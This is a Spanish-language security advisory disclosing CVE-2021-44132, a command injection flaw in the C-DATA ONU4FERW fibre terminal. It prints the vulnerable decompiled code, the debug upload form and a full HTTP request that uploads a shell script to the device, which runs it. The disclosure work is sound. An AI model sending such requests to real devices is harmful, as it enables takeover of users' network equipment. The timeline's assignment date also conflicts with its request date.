OS Command Injection in C-DATA ONU4FERW – CVE-2021-44132

OS Command Injection in C-DATA ONU4FERW

version V2.1.13_X139

CVE-2021-44132
Aviso de Seguridad 2021-11-19

Samir Sánchez Garnica
Luis Eduardo Jácome Valencia

Descripción de la vulnerabilidad

C-DATA ONU4FERW

Este tipo de ONU es un producto terminal EPON de triple play diseñado para satisfacer las necesidades de operador de telecomunicaciones, radio y televisión FTTH fiber home multi-service access. El producto es basado en la tecnología Gigabit EPON madura y estable y rentable, que integra Gigabit Tecnología de red Ethernet, tecnología VOIP, tecnología WDM, con alta fiabilidad, fácil gestión y buena calidad de servicio (QoS) para garantizar que el rendimiento técnico de equipo para cumplir con los requisitos técnicos de equipos IEEE802.3ah, China Telecom EPON (V2.1) y otras especificaciones.

EL PROBLEMA

Esta versión es afectada por la ejecución de codigo remoto bajo la lectura de un archivo de configuración sobre la función denominada OMCI, la cual puede ser cargada por el usuario de depuración por defecto e8c o adminisp.

VERSIONES AFECTADAS

Se estima que las versiones afectadas sean <= v2.1.13_x139

Línea de tiempo
FechaAcción
18/11/2021 Aviso enviado a la respuesta a incidentes de seguridad de productos C-DATA
19/11/2021 Solicitud Asignación CVE mitre.org
25/02/2021 CVE-2021-44132 Asignado por mitre.org
Linea de tiempo

Descripción técnica y prueba de concepto (PoC)

Identificación de vulnerabilidad a traves de la ingenieria inversa

Obteniendo el binario que actua como servidor web (boa), es posible identificar la lectura del archivo de nombre omcishell pasado como parámetro a una función system de forma directa, el cual permite controlar directamente el parámetro por cualquier posible atacante. A continuación, se puede observar el bloque de código vulnerable:

pFVar1 = fopen64("/tmp/omcishell","w");
if (pFVar1 == (FILE *)0x0) {
    puts("Get config file fail!");
}
fwrite(__ptr,1,__size,pFVar1);
puts("create file omcishell");
free(__ptr);
fclose(pFVar1);
system("/bin/sh /tmp/omcishell");

Este bloque de código hace parte de la función denominada «formImportOMCIShell» , la cual es invocada por la ruta accesible /bd/vermod.asp del usuario de depuración e8c:

 <blockquote>
<DIV align="left" style="padding-left:20px; padding-top:5px">
  <form action=/boaform/formImportOMCIShell enctype="multipart/form-data" method=POST name="saveConfig">
  <tr>
    <td width="40%"><font size=2><b>Import:</b></font></td>
    <td width="30%"><font size=2><input type="file" value="Choose File" name="binary" size=24></font></td>
    <td width="20%"><font size=2><input type="submit" value="Import" name="load" onclick="return uploadClick()"></font></td>
  </tr>  
  </form> 

</DIV>
</blockquote>
Ilustración 1: OMCI Uploader

A continuación, se puede observar la petición HTTP la cual llama a la función vulnerable:

POST /boaform/formImportOMCIShell HTTP/1.1
Host: 192.168.101.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------4144316315319944755148391676
Content-Length: 377
Origin: http://192.168.101.1
Connection: close
Referer: http://192.168.101.1/bd/vermod.asp
Upgrade-Insecure-Requests: 1

-----------------------------4144316315319944755148391676
Content-Disposition: form-data; name="binary"; filename="exploitwriter.sh"
Content-Type: application/x-sh

#!/bin/sh
echo "pwned" > /var/mnt/exploitwriter.txt
-----------------------------4144316315319944755148391676
Content-Disposition: form-data; name="load"

Import
-----------------------------4144316315319944755148391676--

La explotación es satisfactoria mediante un exploit creado por el equipo, el cual aprovecha que está instalado netcat dentro del paquete de software de busybox. Finalmente, se realiza la ejecución de código remoto sobre /bin/sh.

Ilustración 2: Explotación satisfactoria y obtención de reverse shell.
Ilustración 3: Reverse shell usada para Busybox.

URL mintre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44132.

URL código de explotación: https://github.com/exploitwritter/CVE-2021-44132

Deja un comentario

Web construida con WordPress.com.

Subir ↑